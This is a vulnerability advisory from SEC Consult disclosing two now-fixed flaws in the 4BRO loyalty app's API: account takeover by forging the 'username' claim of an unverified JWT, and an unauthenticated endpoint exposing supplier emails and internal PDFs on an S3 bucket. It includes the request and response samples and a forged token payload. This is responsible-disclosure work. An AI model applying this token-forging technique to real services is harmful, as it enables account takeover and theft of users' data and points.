4BRO Insecure Direct Object Reference / API Information Exposure

`SEC Consult Vulnerability Lab Security Advisory < 20240522-0 >  
=======================================================================  
title: Broken access control & API Information Exposure  
product: 4BRO App  
vulnerable version: before 2024-04-17  
fixed version: 2024-04-17  
CVE number: -  
impact: Critical  
homepage: https://www.4bro.de  
found: 2023-05-07  
by: Max Rull (Office Bochum)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"4BRO is a German company known for producing iced tea beverages. The brand offers  
a variety of flavors, including unique combinations such as peach, bubblegum,  
and watermelon mint. 4BRO emphasizes modern and appealing packaging, targeting  
a younger demographic. The company promotes its products through various platforms  
and incentivizes customer loyalty with their app, which allows users to collect  
points for rewards. The company's headquarters is located in Germany, and their  
products are widely available both online and in retail stores."  
  
Source: https://www.4bro.de  
  
  
Business recommendation:  
------------------------  
The vendor has fixed the security issues in the API server as of 2024-04-17.  
  
SEC Consult highly recommends to perform a thorough security review of the product  
conducted by security professionals to identify and resolve potential further  
security issues.  
  
  
Vulnerability overview/description:  
-----------------------------------  
1) Broken access control via IDOR in 4BRO app API  
An IDOR vulnerability (Insecure Direct Object Reference) allows an attacker  
to change the username in the Bearer token used for authentication in the 4BRO app.  
This leads to account takeover as a result of broken access control (poor Bearer  
token verification). Attackers are able to access all data or Bro points ("broins")  
from other users.  
  
  
2) API Information Exposure  
When opening the app as an unauthenticated user, the 4BRO app loads JSON data  
from a publicly available API endpoint containing sensitive data like e-mail  
addresses of employees, internal invoices, a CV including personal information,  
a gift card etc.  
  
  
Proof of concept:  
-----------------  
1) Broken access control via IDOR in 4BRO app API  
When logging in into the 4BRO app, the server returns a JWT (JSON Web Token).  
The "login" HTTP request looks like this:  
--------------------------------------------------------------------------------  
POST /api/user/signin HTTP/2  
Host: adminpanel.4bro.de  
Content-Type: application/json  
[...]  
  
{"email":"<login email>","password":"<login password>"}  
--------------------------------------------------------------------------------  
  
The server responds with a JWT used for authentication and additional  
account-related data:  
--------------------------------------------------------------------------------  
HTTP/2 200 OK  
Content-Type: application/json; charset=utf-8  
[...]  
  
{  
"token": "<JWT here>",  
"userData": {  
"isBlocked": false,  
"_id": "[...]",  
"userType": "USER",  
"email": "<login email>",  
"broins": 0,  
"deviceId": null,  
"userCreationDate": "2023-XX-XXTXX:XX:XX.XXXZ",  
"address": [{  
"_id": "[...]",  
"streetName": "[...]",  
"streetNumber": "[...]",  
"postalcode": "[...]",  
"city": "[...]",  
"firstName": "[...]",  
"lastName": "[...]",  
"country": "at"  
}  
],  
"ratings": [],  
"__v": 0,  
"pushToken": "[...]",  
"telekomUUID": "[...]"  
}  
}  
--------------------------------------------------------------------------------  
  
Because the JWT is only base64-encoded, it is easy to decode the JWT's  
header and payload as clear text using JWT decoders like https://token.dev/:  
--------------------------------------------------------------------------------  
Header:  
{  
"kid": "[...]",  
"alg": "RS256"  
}  
--------------------------------------------------------------------------------  
Payload:  
{  
"sub": "[...]",  
"event_id": "[...]",  
"token_use": "access",  
"scope": "aws.cognito.signin.user.admin",  
"auth_time": 1683565567,  
"iss": "https://cognito-idp.eu-central-1.amazonaws.com/[...]",  
"exp": 1683569167,  
"iat": 1683565567,  
"jti": "[...]",  
"client_id": "[...]",  
"username": "<login email>"  
}  
--------------------------------------------------------------------------------  
  
The payload of the JWT contains multiple values indicating that AWS Cognito is in use.  
By changing the "username" value of the JWT payload to a victim email, it is possible  
to use the modified JWT for authenticating as the victim. The victim should already  
have a normally registered account in the 4BRO app. By trial and error, it turns out  
that even the following modified JWT payload gets accepted by the server:  
--------------------------------------------------------------------------------  
{  
"sub": "0",  
"event_id": "0",  
"token_use": "access",  
"scope": "aws.cognito.signin.user.admin",  
"auth_time": 0,  
"iss": "",  
"exp": 0,  
"iat": 0,  
"jti": "0",  
"client_id": "0",  
"username": "<login email>"  
}  
--------------------------------------------------------------------------------  
  
Meanwhile, the "kid" property in the JWT header must be a valid value, but can belong  
to any other already existing 4BRO app account. The JWT signature can be the same  
and does not get verified at all.  
  
Using the modified JWT, all API methods supported by the 4BRO app can be executed.  
Because the server only checks the "username" property in the JWT payload and does  
slim to none JWT verification, the server thinks that the request came from the  
account associated with the login email contained in the "username" property.  
  
This way, sensitive data such as the current "broin" balance, full user data as seen  
in the login response, previous transactions, redeemed vouchers and goodies etc.  
can be accessed without restrictions, using the 4BRO API. Also, the "sending broins"  
action can be performed so that earned "broins" could be transferred to an attacker's  
account balance.  
  
  
2) API Information Exposure  
By monitoring the 4BRO app's requests over a proxy, it can be observed that  
the following HTTP request is made when opening the "Goodies" section of the app:  
--------------------------------------------------------------------------------  
GET /api/goodies?pageSize=1000 HTTP/2  
Host: adminpanel.4bro.de  
[...]  
--------------------------------------------------------------------------------  
  
The response is a JSON object containing all goodies that are or were at some point  
available in the 4BRO app:  
--------------------------------------------------------------------------------  
HTTP/2 200 OK  
Content-Type: application/json; charset=utf-8  
Content-Length: 327138  
[...]  
  
{  
"goodiesList": [{  
"_id": "61950603005c650530b63aac",  
"name": "1x 4BRO Getränk Imbiss",  
"longDescription": "[...]",  
"shortDescription": "Auf unseren Nacken!",  
"imagePath":  
"https://broappasset-prod.s3.eu-central-1.amazonaws.com/dev/goodies/app_kachel_food_256x256.jpg",  
"category": "Food",  
"quantity": 999999999999808,  
"costOfGoodie": 250,  
"supplier": "<email removed>",  
"totalGoodies": 999999999999861,  
"goodieAvailableTime": "Unlimited",  
"deliveryMethod": "partnerCoupon",  
"isNewGoodie": false,  
"inhouseAppVoucherUrl":  
"https://broappasset-prod.s3.eu-central-1.amazonaws.com/dev/inhouseAppVouchers/undefined",  
"__v": 1,  
"rating": {  
"value": 3.991869918699184,  
"total": 123  
},  
"forceGoodie": "true",  
"goodieAvailableEndTime": null,  
"goodieAvailableStartTime": null,  
"restriction": [],  
"hidden": false,  
"slashedCostOfGoodie": null  
},{  
[...]  
},  
[...]  
}  
],  
"goodieCount": 371  
}  
--------------------------------------------------------------------------------  
  
This JSON object contains already sensitive data such as the goodie supplier's email  
addresses. Out of the 371 goodies, 36 of those have a URL to a PDF file contained  
within the "inhouseAppVoucherUrl" property. Because these files are hosted on an  
AWS S3 bucket, everyone can access these documents without authentication.  
  
These documents seem to contain various sensitive company internal and personal  
information.  
  
While discovering vulnerability 1), we found that old gift codes were also stored as  
PDF files on the AWS S3 bucket. The names of the gift code PDF files indicate that  
there may be more similarly named documents (IDOR) which could be detected in an  
automated way. This could be leveraged to find additional gift code PDF files stored  
on the AWS S3 bucket.  
  
  
Vulnerable / tested versions:  
-----------------------------  
The following app version has been tested and downloaded through Google Play store,  
which was the most recent version available at the time of the test:  
* 3.14.7  
  
Because the vulnerability is actually server-side within the API, the iOS app was  
also affected at the time the vulnerabilities were discovered.  
  
  
Vendor contact timeline:  
------------------------  
2023-06-12: Contacting vendor through [email protected] (owner) and [email protected]  
(developers according to Google Play store)  
2023-06-15: Vendor asks about the risks of the identified vulnerabilities and which  
parts of the application are affected and whether any costs would arise  
before they provide us with a security contact.  
2023-06-16: Detailed answer regarding risk estimation, responsible disclosure and  
that no costs are involved.  
2023-06-19: Vendor requests a phone conference, scheduled for 21st June.  
2023-06-21: Clarifying responsible disclosure, explaining vulnerabilities and next  
steps in phone call. Providing security advisory to vendor.  
2023-06-29: Vendor has sent the advisory to the developer team for evaluation  
and will notify SEC Consult about the release of the security patch.  
2023-08-18: Asking for a status update.  
2023-08-31: It is planned to release an Android/iOS app update end of September  
2023-09-18: Vendor needs to postpone update, no new date available.  
2023-11-08: Asking for a status update; no response.  
2023-11-21: Asking for a status update.  
2023-12-11: Vendor response, fix is available in test environment, production  
will be fixed by end of this year.  
2024-01-24: Asking for a status update; no response.  
2024-02-12: Asking for a status update.  
2024-02-12: Vendor is still waiting for a response from their IT.  
2024-04-17: Asking for a status update.  
2024-04-17: Vendor states that the vulnerabilities have been fixed.  
2024-04-17: Asking for the fix date, whether an app update was needed for applying  
the fix, and the fixed app version. No response.  
2024-05-13: Asking vendor again about fixed version, etc., setting preliminary release  
date to 2024-05-21. No response.  
2024-05-22: Release of security advisory  
  
  
  
Solution:  
---------  
The vendor implemented a fix in the affected API server as of 2024-04-17.  
An app update on Android or iOS is not required to apply the fix.  
  
  
Workaround:  
-----------  
None  
  
  
Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia  
  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Eviden business. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://sec-consult.com/career/  
  
Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: https://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult  
  
EOF M. Rull / @2024  
`